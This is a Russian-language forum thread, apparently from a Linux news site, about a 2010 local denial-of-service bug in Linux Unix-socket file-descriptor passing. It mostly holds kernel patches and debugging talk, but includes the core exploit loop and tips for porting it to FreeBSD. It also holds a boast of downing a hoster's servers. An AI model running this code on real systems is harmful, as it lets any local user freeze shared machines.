Найден (http://lkml.org/lkml/2010/11/25/8) довольно простой способ совершения локальной DoS-атаки в Linux, основанный на использовании функции socketpair(). Код работает от любого пользователя. Процесс находится в запущенном состоянии, но не "убивается" через SIGKILL (kill -KILL). Поглощает 100% процессора и все доступные файловые дескрипторы в ядре.
Для временного решения проблемы можно использовать grsecurity или применить к ядру патч (http://lkml.org/lkml/2010/11/25/17):
<font color="#461b7e">diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index c8df6fd..40df93d 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
}static bool gc_in_progress = false;
+#define UNIX_INFLIGHT_TRIGGER_GC 2000void wait_for_unix_gc(void)
{
+ /*
+ * If number of inflight sockets is insane,
+ * force a garbage collect right now.
+ */
+ if (unix_tot_inflig...URL: http://lkml.org/lkml/2010/11/25/8
Новость: http://www.opennet.me/opennews/art.shtml?num=28779
Работает!
Что, в ядре и вправду используются конструкции вида gc_in_progress == false?!
Для временного решения проблемы можно...
> Для временного решения проблемы можно...судя по отсутствию +сика перед строкой - это строка не во временном патче
конечно, и множество других конструкций, в том числе и goto
Надеюсь, не в таком (http://thedailywtf.com/Articles/Learning-Something-New.aspx) стиле?
к вопросу о гарбаджколлекторе в сях - расскажите мне о ненужности сборщика мусора на мегакрутеньтру языках
> к вопросу о гарбаджколлекторе в сях - расскажите мне о ненужности сборщика
> мусора на мегакрутеньтру языкахВы путаете язык и программу которая на нём пишется. Разберитесь чем одно от другого отличается.
>> к вопросу о гарбаджколлекторе в сях - расскажите мне о ненужности сборщика
>> мусора на мегакрутеньтру языках
> Вы путаете язык и программу которая на нём пишется. Разберитесь чем одно
> от другого отличается.тоесть программы написанные на сях требуют ручками реализовывать разные гарбаджколлекторы ?
то есть вы увидели в новости "garbage collector" и стали пороть чепуху.
> то есть вы увидели в новости "garbage collector" и стали пороть чепуху.а может чепуху пороли те кто говорил о ненужности каких либо сборщиков мусора в программах написанных на трусуперкрутьязыках ?
найденная уязвимость не имеет отношения к отсутсвию сборщика мусора в C. упоминаемая в коде программы "сборка мусора" тоже не имеет к этому отношения. с вашими комментариями проследуйте на лор пожалуйста.
> тоесть программы написанные на сях требуют ручками реализовывать разные гарбаджколлекторы
> ?Как и не на сях. Это совсем другой сборщик, он собирает совсем другой мусор.
> тоесть программы написанные на сях требуют ручками реализовывать разные гарбаджколлекторы?С какого вдруг "требуют"? Сборщик мусора - технология, которая может быть использована хоть в ассемблере. Вы имеете в виду, что в низкоуровневых языках он не встроен в язык, как в Жабе или ДотНете? Да, не встроен, это общеизвестно. На чем написан сборщик в высокоуровневых языках - вы тоже не в курсе?
В одном вы правы - Си позволяет реализовать РАЗНЫЕ сборщики. А жабисты и дотнетчики вынуждены пользоваться одним, ОДИНАКОВЫМ ;)
> к вопросу о гарбаджколлекторе в сях - расскажите мне о ненужности сборщика
> мусора на мегакрутеньтру языкахОй. Тогда получается что файловые системы с гарбаж коллектром - полное дерьмо? Заметьте, простую файловую систему с GC (например для NOR флеша) можно даже на гольном асме родить. В силу довольно простой логики сбора мусора в такой ФС и прочая.
Хинт: гарбаж колекторы не являются абсолютным злом сами по себе :). А вот когда их сватают как замену мозга - вот тут да, безмозглые програмеры это зло.
Поясните, в чем именно там проблема. Взял пользователь, да и исчерпал ресурс системы. Чем это отличается от for (;;) malloc(100500); ?
Видимо тем, что ваш вариант должен убиваться по SIGKILL. Если успеть послать этот сигнал до того, как ядро его прибьет процесс, исчерпавший память.
> Поясните, в чем именно там проблема. Взял пользователь, да и исчерпал ресурс
> системы. Чем это отличается от for (;;) malloc(100500); ?Тем что процесс можно убить, а тему новости — нет.
Тем что malloc тратит память польователя, а тема новости — ресурсы ядра.
pavlinux, пропатчил себе я ядро. У меня вопрос: может ли найтись экзотический сот, который с пропатченным ядром откажется работать? Или это исключено?
Сильно ли просядет производительность, если открыть 2001 сокет?
Процессор занят на 600%. 6 ядер.
> может ли найтись экзотический сот,Сот? Это что? Сотовик? :)
grsecurity не спасает
Запрет на создание сокетов юзерами включён?
до socket restrictions дело так и не дошло... хватило tpe.
Интересно, а если внутри VPS запустить?
openvz имеет ограничение на количество unix socket внутри контекста, он спасает от этой атаки.
linux vserver вроде такого ограничения не имел - так что там эта атака пройдет на ура.
http://lkml.org/lkml/2010/11/25/43
мда, серьёзная штука, машину с четыремя ядрами кладёт через пару секунд в полный даун
вообще подобного рода вещи, вроде, отправляются в закрытый список, занимающийся безопасностью в ядре
Не успели, я первый заметил :)
че та нынче в линухе баг за багом и очень хорошо, если не рута получают, а просто систему кладут.
сдается мне что фикс кривой.
1) он пытается запускать gc во время любого send, хотя даже школьнику понятно что наименьшие проблемы это создаст при создании сокета (к слову при закрытии - gc вызывается)2) в RHEL5 процесс убивается на ура - но в момент смерти жрет дофига CPU
bt показываетtest R ffff8100252e8e00 0 12575 12371 (L-TLB)
ffff8100238e79c8 0000000000000046 ffff810000000000 dead4ead00000001
ffff8100252e8e00 ffff81003ea42e40 00000078bed19204 0000014126bfada3
ffff8100252e9010 ffffffff80524f00 ffffffff80344f00 ffff8100238e7958
Call Trace:
[<ffffffff80059705>] unix_release_sock+0x203/0x211
[<ffffffff80093a42>] __cond_resched+0x2d/0x55
[<ffffffff8006a5f3>] cond_resched+0x37/0x42
[<ffffffff8000d7d7>] dput+0x2f/0x18a
[<ffffffff80013769>] __fput+0x1b2/0x1d4
[<ffffffff800596ab>] unix_release_sock+0x1a9/0x211
[<ffffffff800303b2>] fput+0x14/0x16
[<ffffffff8024c53b>] __scm_destroy+0xa8/0xe2
[<ffffffff802a7787>] unix_destruct_fds+0x39/0x4a
[<ffffffff8024922e>] skb_release_head_state+0x161/0x1b9
[<ffffffff800596ab>] unix_release_sock+0x1a9/0x211
[<ffffffff8002c143>] __kfree_skb+0x11/0x26
[<ffffffff80249db7>] kfree_skb+0x68/0x70
[<ffffffff800596ab>] unix_release_sock+0x1a9/0x211
[<ffffffff802a72ff>] unix_release+0x21/0x23
[<ffffffff8005d145>] sock_release+0x2c/0xaf
[<ffffffff8005d345>] sock_close+0x22/0x26
[<ffffffff800136a4>] __fput+0xed/0x1d4
[<ffffffff800303b2>] fput+0x14/0x16
[<ffffffff8002642f>] filp_close+0x65/0x70
[<ffffffff8003dad9>] put_files_struct+0x6b/0xb3
[<ffffffff80016bda>] do_exit+0x70f/0xdc3
[<ffffffff80018fb2>] cache_grow+0x541/0x5a4
[<ffffffff8002e413>] get_signal_to_deliver+0x4a/0x4bc
[<ffffffff8004ff95>] debug_mutex_init+0x0/0x45
[<ffffffff8002e852>] get_signal_to_deliver+0x489/0x4bc
[<ffffffff80063532>] do_notify_resume+0xd8/0x883
[<ffffffff80047cdf>] d_rehash+0x23/0x44
[<ffffffff800246f5>] fd_install+0x30/0x6d
[<ffffffff8006c53b>] trace_hardirqs_off_thunk+0x35/0x67
[<ffffffff800663af>] int_signal+0x12/0x17то есть вся проблема не в in flight сокетах, а в том что close() не закрыл старый unix socket и не прибил что положено.
вот так выглядит более правильно
diff --git a/include/net/af_unix.h b/include/net/af_unix.h
index 3c8af63..7ca2e4f 100644
--- a/include/net/af_unix.h
+++ b/include/net/af_unix.h
@@ -6,7 +6,7 @@
#include <linux/mutex.h>
#include <net/sock.h>
-extern void unix_inflight(struct file *fp);
+extern int unix_inflight(struct file *fp);
extern void unix_notinflight(struct file *fp);
extern void unix_gc(void);
extern void wait_for_unix_gc(void);
diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
index cb552e2..673ea9c 100644
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -572,11 +572,17 @@ static struct proto unix_proto = {
*/
static struct lock_class_key af_unix_sk_receive_queue_lock_key;
+#define UNIX_INFLIGHT_TRIGGER_GC 128
+extern bool gc_in_progress;
+
static struct sock * unix_create1(struct socket *sock)
{
struct sock *sk = NULL;
struct unix_sock *u;
+ if (atomic_read(&unix_tot_inflight) > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
+ unix_gc();
+
if (atomic_read(&unix_nr_socks) >= 2*get_max_files())
goto out;
@@ -1268,6 +1274,7 @@ EXPORT_SYMBOL_GPL(unix_destruct_fds);
static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb)
{
int i;
+ int rc = 0;
/*
* Need to duplicate file references for the sake of garbage
@@ -1278,10 +1285,13 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb)
if (!UNIXCB(skb).fp)
return -ENOMEM;
- for (i=scm->fp->count-1; i>=0; i--)
- unix_inflight(scm->fp->fp[i]);
+ for (i=scm->fp->count-1; i>=0; i--) {
+ rc = unix_inflight(scm->fp->fp[i]);
+ if (rc)
+ break;
+ }
skb->destructor = unix_destruct_fds;
- return 0;
+ return rc;
}
/*
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index 5f96cea..4042e9a 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -124,21 +124,25 @@ static struct sock *unix_get_socket(struct file *filp)
* descriptor if it is for an AF_UNIX socket.
*/
-void unix_inflight(struct file *fp)
+int unix_inflight(struct file *fp)
{
+ int ret = 0;
struct sock *s = unix_get_socket(fp);
if(s) {
struct unix_sock *u = unix_sk(s);
spin_lock(&unix_gc_lock);
- if (atomic_inc_return(&u->inflight) == 1) {
+ ret = atomic_inc_return(&u->inflight);
+ if (ret == 1) {BUG_ON(!list_empty(&u->link));
list_add_tail(&u->link, &gc_inflight_list);
} else {
BUG_ON(list_empty(&u->link));
}
atomic_inc(&unix_tot_inflight);
+ ret = ret > get_max_files();
spin_unlock(&unix_gc_lock);
}
+ return ret;
}
EXPORT_SYMBOL_GPL(unix_notinflight);
@@ -270,7 +274,7 @@ static void inc_inflight_move_tail(struct unix_sock *u)
list_move_tail(&u->link, &gc_candidates);
}
-static bool gc_in_progress = false;
+bool gc_in_progress = false;
void wait_for_unix_gc(void)
{ну и для параноиков sysctl -w fs.files-max=1000
sysctl -w fs.file-max=1000
и загубишь все на корню - слишком глобальная эта ручка, а если в фиксе заменить за get_max_file() на NR_FILES просто ограничишь очередь сообщений до 8к. и все будет жить.
> и загубишь все на корню - слишком глобальная эта ручка, а если
> в фиксе заменить за get_max_file() на NR_FILES просто ограничишь очередь сообщений
> до 8к. и все будет жить.Не, там синтаксисеская обшибка
вместо
fs.files-max, надо
fs.file-max
ааа. это я полусонным рисовал по памяти.
спасибо.
> ааа. это я полусонным рисовал по памяти.
> спасибо.просто максимальное количество unix sockets это 2*get_max_files().
так что ddos тулза упрется в нее в конце концов - но системе станет хреново к тому моменту.
А потом exit_task -> put file struct - будет оооочень долгим ибо их дохрена.
>> ааа. это я полусонным рисовал по памяти.
>> спасибо.
> просто максимальное количество unix sockets это 2*get_max_files().
> так что ddos тулза упрется в нее в конце концов - но
> системе станет хреново к тому моменту.
> А потом exit_task -> put file struct - будет оооочень долгим ибо
> их дохрена.Ну там дальше идет в ход schedule(), по этому при больших file-max,
дело до SIG_KILL дойдет не скоро. Более того, его же надо чем-то послать -
терминал пустить, bash породить, который сам ещё форкнется и уж потом exec_нет killЯ вот опытным путём дошёл до значения 84000, нагрузка на CPU стала от 75% до 98%
exit_task прервать нельзя - в этом code path нету мьютексов - только spinlock / rwlock / rcu.
поэтому schedule() вызвать некому.
при всем этом оно еще держит на себе BKL и стопку локов (один из которых помоему task_lock) - поэтому ошибка которая должна приводить с 100% загрузки на одном CPU - не дает работать на других.
в моей тестовой vmware + RHEL5 - загрузка сразу взлетела на 100%, но kill можно было послать, а потом система стала в ступор пытаясь в течении нескольких минут освобожать файловые дискрипторы.
Это и послужило причиной того что оригинальный патч был отвергнут и написана эта затычка, который не спасет если добавить fork() или просто запустить несколько экземпляров - но ослабит атаку.А дальше подождем правильного фикса.
> exit_task прервать нельзя - в этом code path нету мьютексов - только
> spinlock / rwlock / rcu.
> поэтому schedule() вызвать некому.void wait_for_unix_gc(void)
{
wait_event(unix_gc_wait, gc_in_progress == false);
}#define wait_event()
http://lxr.linux.no/#linux+v2.6.36/include/linux/wait.h#L217schedule_timeout()
http://lxr.linux.no/#linux+v2.6.36/kernel/timer.c#L1430шыдуля().
>[оверквотинг удален]
>> spinlock / rwlock / rcu.
>> поэтому schedule() вызвать некому.
> void wait_for_unix_gc(void)
> {
> wait_event(unix_gc_wait, gc_in_progress == false);
> }
> #define wait_event()
> http://lxr.linux.no/#linux+v2.6.36/include/linux/wait.h#L217
> schedule_timeout()
> http://lxr.linux.no/#linux+v2.6.36/kernel/timer.c#L1430С теперь козырный вопрос - где вы в exit_task увидели вызов wait_for_unix_gc ?
эта функция вызывается при send() если не путаю и при close(), но close на сокет уже вызывался из приложения - только ресурсы это не освободило.
> но close на сокет уже вызывался из приложениятак там же for (;;)
позволю себе напомнить код "эксплойта"
int main ()
{
int fd[2], ff[2];
int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);
close (fd[1]); <<< это что ?
close (fd[0]); <<< и вот это ?
fd[0] = ff[0];
fd[1] = ff[1];
}
}если хорошо посмотрим в код net/unix
static int unix_release_sock(struct sock *sk, int embrion)
{
...if (unix_tot_inflight)
unix_gc(); /* Garbage collect fds */return 0;
}
unix_release
{
unix_release_sock().
}
..static const struct proto_ops unix_stream_ops = {
.family = PF_UNIX,
.owner = THIS_MODULE,
.release = unix_release,
..
}
Чёй-та я не пойму хода Ваших мыслей.> for (;;)
> {
> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff) == -1) return -1;
> close (fd[1]); <<< это что ?
> close (fd[0]); <<< и вот это ?
> }Схема такая
for(;;) {
...
close (1);
|_
unix_release()
|_
unix_release_sock().
|_
unix_gc();close(0);
|_
unix_release()
|_
unix_release_sock().
|_
unix_gc();
}
я там тоже не все понял, но факт в том что in flight реквесты накапливаются на одном сокете.
из-за этого unix_gc не может пометить этот сокет как gc_candidate и прибить.
почему так - не разбирался. если есть желание добавь стопку printk и посмотри.
Но это подтверждается патчем - который срабатывает по привышению количества in flight на сокете.
На своём EeePC 1000 при дефолтных (сиречь моих рабочих настройках) проверил:
fs.file-max = 101749в /etc/sysctl.conf только:
# Disable packet forwarding
net.ipv4.ip_forward=0
# Disable the magic-sysrq key (console security issues)
kernel.sysrq = 0
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
vm.dirty_writeback_centisecs=1500ядрышко: 2.6.35.8, памяти 1024Мб (часть на видео расходуется), CPU - Atom N270
как результат, система стала заметно дольше откликаться, но и после 10 минут работы бомбы, терминал запустился где-то за 15 секунд, правда для убийства пришлось ввести что-то вроде:
while true do killall -9 tst; doneи долго ждать убийства всего этого безобразия :)
вобщем фикс действительно кривой.
проблема вот в чем
1) мы посылаем сообщение с прикрепленным файловым дискриптором в адрес сокета из которого не читаем
2) kernel берет ссылку на дискриптор и создает skb.
3) этот skb помещается в очередь сокета
4) закрываем сокет на userland**** КВА ****
дискриптор не освобождается - так как последний реферес держится skb пакетом, который отпустится как только это сообщение прочитают из сокета.оригинальный патч пытается вызвать сборку мусора - но ей нечего делать в этой ситуации - сокет на который посылают сообщения вполне себе живой и ждет пока вычитают.
фиксов тут по сути 2
1) тот что я нарисовал выше - тупо ограничивать длину очереди на сокете.
2) более корректным вариантом будет такое - при закрытии сокета проверять в каких skb присутсвует он, и удалять из очереди. в этом случае reader просто не прочитает закрытые файловые дискрипторы, но возни тут не на 5 строк.
Запустил, система тут же ушла в даун, даже на другой десктоп не смог переключиться (там был запущен top), минуты через три нажал reset, но комп не смог загрузиться - сработала система защиты на материнке (у меня такое когда-то случалось когда баловался с разгоном проца), потом ящик всёже загрузился с третьей попытки. Прикольно :)
> Запустил, система тут же ушла в даун, даже на другой десктоп не
> смог переключиться (там был запущен top), минуты через три нажал reset,
> но комп не смог загрузиться - сработала система защиты на материнке
> (у меня такое когда-то случалось когда баловался с разгоном проца), потом
> ящик всёже загрузился с третьей попытки. Прикольно :)Вы эта того, аккуратнее. В новости же написано, что работает!!! :)
на самом деле полезная вещь - можно отапливать ЦОДы поставив туда стойки с линакс-машинами.
> на самом деле полезная вещь - можно отапливать ЦОДы поставив туда стойки
> с линакс-машинами.С *BSD такое тоже вполне катит, судя по коментам юзвергов тут и на хабре.
>> на самом деле полезная вещь - можно отапливать ЦОДы поставив туда стойки
>> с линакс-машинами.
> С *BSD такое тоже вполне катит, судя по коментам юзвергов тут и
> на хабре.Проверил, у меня в FreeBSD 8.1, 7.3 и 6.4 не работает. Видимо комментаторы с хабра от рута тот экспоит запускали.
Прикол, Debian 6.0 в даун не ушёл, только матерился, что "too many open files",
и удалось корректно выключить через Кнопку "Выйти" на панели.Всё, пипец!!! Это окончательный приговор SuSE :)
И ещё apt-get upgrade работает :)http://ipicture.ru/uploads/20101126/hSG1NNU3.png
как выполнить на freebsd?
что-то не компилится...
Ну это уж не сюда.
> как выполнить на freebsd?
> что-то не компилится...Попробуйте такой вариант: http://lists.freebsd.org/pipermail/freebsd-bugs/2009-Februar...
см. ниже
> как выполнить на freebsd?
> что-то не компилится...replace SOCK_SEQPACKET on SOCK_DGRAM
шревты!
Вобщам дела такие# sysctl -w fs.file-max=84000 (где-то от 40000 до 90000)
Больше 200.000 появляются сильные тормоза, а при 500.000+ можно сказать зависон.
Приводит к возможности реакций на Ctrl-Alt-Fn, запуска консоли и kill -9
или корректного ребута.
Да, да, на kill -9 оно реагирует, но только минуты через 3 :)
Все линуксовые серваки своему хостеру положил. FreeBSD'шные стоят как ни в чем не бывало.
> FreeBSD'шные стоят как ни в чем не бывало."Новый способ совершения локальной DoS-атаки в Linux"
Где ты слово FreeBSD увидел?
А где я должен был его увидеть? В новости про уязвимость его разумеется нет.
> А где я должен был его увидеть? В новости про уязвимость его
> разумеется нет.Капитан, Вы?
> "Новый способ совершения локальной DoS-атаки в Linux"
> Где ты слово FreeBSD увидел?Наверное где-то в районе http://habrahabr.ru/blogs/linux/108835/ - там народ почему-то утверждает что и некоторые BSD таким манером кладутся (лично не проверял, однако судя по чертыханиям народа - вполне себе работает и на разных *BSD).
"сломал крякер своего провайдера, теперь сидит без интернета"
freebsd тоже подвержена, по крайней мере 8.1 релиз - точно. Только что в ребут ушла
только для BSD надо немного код изменить
добавить заголовочные файлы#include <sys/mount.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>и заменить все SOCK_SEQPACKET на SOCK_DGRAM.
8.1-RELEASE без разговоров сразу в ребут =(
тьфу, столько заголовочных написал, не туда посмотрел. Хотя и так работать будет
> только для BSD надо немного код изменитьБез бубна не работает? :)
великий гуру Си?
>[оверквотинг удален]
> #include <sys/mount.h>
> #include <sys/wait.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> и заменить все SOCK_SEQPACKET на SOCK_DGRAM.
> 8.1-RELEASE без разговоров сразу в ребут =(Выставил sbsize в 393216 - перестало.
> Выставил sbsize в 393216 - перестало.и NFS перестала запускаться, и SSH отвалилось :-(
>> Выставил sbsize в 393216 - перестало.
> и NFS перестала запускаться, и SSH отвалилось :-(У меня ssh не отвалилось.
nfs нету.
sbsize не на всех, а только на user-ов, через login.conf
На моей конфигурации тест отрабатывает 30 раз при таком значении и завершается.
>>> Выставил sbsize в 393216 - перестало.
>> и NFS перестала запускаться, и SSH отвалилось :-(
> У меня ssh не отвалилось.
> nfs нету.
> sbsize не на всех, а только на user-ов, через login.conf
> На моей конфигурации тест отрабатывает 30 раз при таком значении и завершается.Ну вы блин даёте! (с)
Мне данная мера не помогла. Попробуйте запустить несколько процессов. У меня при sbsize=8M и лимите процессов в 24 тот же кернел паник.
У меня FreeBSD 8.1-RELEASE-p1 - уходит в ребут.В консоли светится:
kernel: Cannot dump. Device not defined or unavailable.
kernel: Automatic reboot in 15 seconds - press a key on the console to abortУвеличил maxsockbuf до 393216 по рекомендации sacha (по дефолту - 262144)
# sysctl -w kern.ipc.maxsockbuf=393216Тоже не помогло. Идеи?
Вообще-то эта проблема была обнаруженна 23-го ноября парнем по имени Vegard Nossum
(см. http://thread.gmane.org/gmane.linux.kernel/1067149)а этот Марк Коренберг (http://lkml.org/lkml/2010/11/25/8) - просто быдлоадмин (см. http://mmarkk.moikrug.ru/), который перепостил код Vegard'а.
и да, этот трабл - это типичная, известная уже миллион лет fork-бомба (http://en.wikipedia.org/wiki/Fork_bomb).
> Вообще-то эта проблема была обнаруженна 23-го ноября парнем по имени Vegard Nossum
> (см. http://thread.gmane.org/gmane.linux.kernel/1067149)
> а этот Марк Коренберг (http://lkml.org/lkml/2010/11/25/8) - просто быдлоадмин (см. http://mmarkk.moikrug.ru/),
> который перепостил код Vegard'а.
> и да, этот трабл - это типичная, известная уже миллион лет fork-бомба
> (http://en.wikipedia.org/wiki/Fork_bomb).нет. не fork bomb.. а чуть другое. забываем вычитывать с сокета сообщения содержащие внутри ссылку на файловый дисткриптор.
>> Вообще-то эта проблема была обнаруженна 23-го ноября парнем по имени Vegard Nossum
>> (см. http://thread.gmane.org/gmane.linux.kernel/1067149)
>> а этот Марк Коренберг (http://lkml.org/lkml/2010/11/25/8) - просто быдлоадмин (см. http://mmarkk.moikrug.ru/),
>> который перепостил код Vegard'а.
>> и да, этот трабл - это типичная, известная уже миллион лет fork-бомба
>> (http://en.wikipedia.org/wiki/Fork_bomb).
> нет. не fork bomb.. а чуть другое. забываем вычитывать с сокета сообщения
> содержащие внутри ссылку на файловый дисткриптор.ах, да - причем не просто файловые дискрипторы - а _закрытые_ файловые дискрипторы. смысла в которых не больше нуля ибо попытка их задействовать вернет -ENOFILE или что-то такое.
> а этот Марк Коренберг (http://lkml.org/lkml/2010/11/25/8)
> - просто быдлоадмин (см. http://mmarkk.moikrug.ru/),
> который перепостил код Vegard'а.В оригинале действительно форков напихано, более того, два раза по while (1) {}
а это быдлоадмин упростил.
в фоках и дело :)
когда количество таких процессов становится > N_CPU то на exit_task будет уходить время всех процов - и это будет весело, без форка должно нормально жить на 2-4х CPU.
по теме - протестил на том что было под руками: трабл подтвердился на Ubuntu 10.10 x86_64 и Debian 5.0.6 x86_64. на RHEL AS 4 U4 x86_64 не прокатило! видимо проблеме подверженны только ванильные ядра.
> по теме - протестил на том что было под руками: трабл подтвердился
> на Ubuntu 10.10 x86_64 и Debian 5.0.6 x86_64. на RHEL AS
> 4 U4 x86_64 не прокатило! видимо проблеме подвержены только ванильные ядра.Сможешь показать из Редхата АС 4
# sysctl -A | egrep 'gc_|fs.file|inode'
держи$ uname -rm
2.6.9-78.14.EL x86_64$ cat /etc/redhat-release
Red Hat Enterprise Linux AS release 4 (Nahant Update 4)$ sudo /sbin/sysctl -A | egrep 'gc_|fs.file|inode'
net.ipv6.neigh.eth0.gc_stale_time = 60
net.ipv6.neigh.lo.gc_stale_time = 60
net.ipv6.neigh.default.gc_thresh3 = 1024
net.ipv6.neigh.default.gc_thresh2 = 512
net.ipv6.neigh.default.gc_thresh1 = 128
net.ipv6.neigh.default.gc_interval = 30
net.ipv6.neigh.default.gc_stale_time = 60
net.ipv6.route.gc_elasticity = 0
net.ipv6.route.gc_interval = 30
net.ipv6.route.gc_timeout = 60
net.ipv6.route.gc_min_interval = 0
net.ipv6.route.gc_thresh = 1024
net.ipv4.neigh.eth0.gc_stale_time = 60
net.ipv4.neigh.lo.gc_stale_time = 60
net.ipv4.neigh.default.gc_thresh3 = 1024
net.ipv4.neigh.default.gc_thresh2 = 512
net.ipv4.neigh.default.gc_thresh1 = 128
net.ipv4.neigh.default.gc_interval = 30
net.ipv4.neigh.default.gc_stale_time = 60
net.ipv4.inet_peer_gc_maxtime = 120
net.ipv4.inet_peer_gc_mintime = 10
net.ipv4.route.gc_elasticity = 8
net.ipv4.route.gc_interval = 60
net.ipv4.route.gc_timeout = 300
net.ipv4.route.gc_min_interval = 0
net.ipv4.route.gc_thresh = 32768
fs.file-max = 98936
fs.file-nr = 1812 0 98936
fs.inode-state = 3222 266 0 0 0 0 0
fs.inode-nr = 3222 266
> fs.file-nr = 1812 0 98936
> fs.file-max = 98936Ну и понятно, с чего бы ей загнуться.
Хотя скорее дело не в этом. С версии 2.6.9+ много всего поменялось.
Кхм... Почему-то я стал в "мини-новостях" находить интересные новости чаще, чем в главных новостях. :)
Кстати, тут чтоль никого с Microsoft C/C++ нету? :)
MacOS 10.6.5 Snow Leopard
Ядро Darwin 10.5.0 Darwin Kernel Version 10.5.0: Fri Nov 5 23:20:39 PDT 2010; root:xnu-1504.9.17~1/RELEASE_I386 i386 i386Запустил эксплойт.
Система по ощущениям _вообще_ не заметила этого DoS. Все бегает, GUI летает, топ работает :)
Пишу этот пост.Простой kill -15 из-под юзера убил программу моментально.
Строка из топа:
7669 a.out 97.9 01:50.11 1/1 0 14 22 104K 240K 320K 9640K 2370M 7669 7592 running 501 175 36 85 42 52992338+ 64Нет времени смотреть, как тут реализовано закрытие сокета. Кому интересно - гляньте.
ну теперь кто бы еще и с виндовс машин дал такую же информацию - тогда бы была более полная картина мира :)
А с мак осью - забавно...
Свежий патчиг. Для версии 2.6.37-rc4, но думаю руками сами переделаете.
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index c8df6fd..f89f83b 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -96,7 +96,7 @@ static DECLARE_WAIT_QUEUE_HEAD(unix_gc_wait);
unsigned int unix_tot_inflight;
-static struct sock *unix_get_socket(struct file *filp)
+struct sock *unix_get_socket(struct file *filp)
{
struct sock *u_sock = NULL;
struct inode *inode = filp->f_path.dentry->d_inode;
@@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
}static bool gc_in_progress = false;
+#define UNIX_INFLIGHT_TRIGGER_GC 16000void wait_for_unix_gc(void)
{
+ /*
+ * If number of inflight sockets is insane,
+ * force a garbage collect right now.
+ */
+ if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
+ unix_gc();
wait_event(unix_gc_wait, gc_in_progress == false);
}